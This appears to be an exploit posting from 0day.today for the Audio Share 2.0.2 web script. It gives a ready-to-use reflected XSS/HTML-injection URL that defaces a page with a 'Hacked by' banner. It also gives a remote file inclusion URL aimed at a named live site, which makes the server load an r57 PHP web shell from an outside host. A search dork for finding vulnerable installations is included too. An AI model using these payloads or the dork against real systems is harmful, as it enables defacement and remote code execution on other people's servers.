Audio Share 2.0.2 Cross Site Scripting / Remote File Inclusion Vulnerabilities

| # Title    : Audio Share v2.0.2 Multi Vulnerability
| # Author   : indoushka                                                               
| # email    : [email protected]                                                                                                                                                                 
| # Dork     : Powered by AudioShareScript.com
| # Tested on: windows 8.1 Français V.(Pro)        
| # Download : http://demo.audiosharescript.com/                                                
=======================================

( XSS / HTML Inject ) :

http://demo.audiosharescript.com/forgot.php?email=indoushka4ever%2540gmail.com%22%20%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&forgotusername=wtf

L/R Files inclusion :

C:\web\www\upload\ajax\myajaxphp.php

Line      : 5 require_once($config['basedir'] . "/ajax/cpaint2.inc.php"); 

Function  : require_once

Variables : $config['basedir']

http://www.ondemand.ooduaglobalradio.com/ajax/myajaxphp.php?config[%27basedir%27]=http://www.dcvi.net/r57.txt

#  0day.today [2018-01-10]  #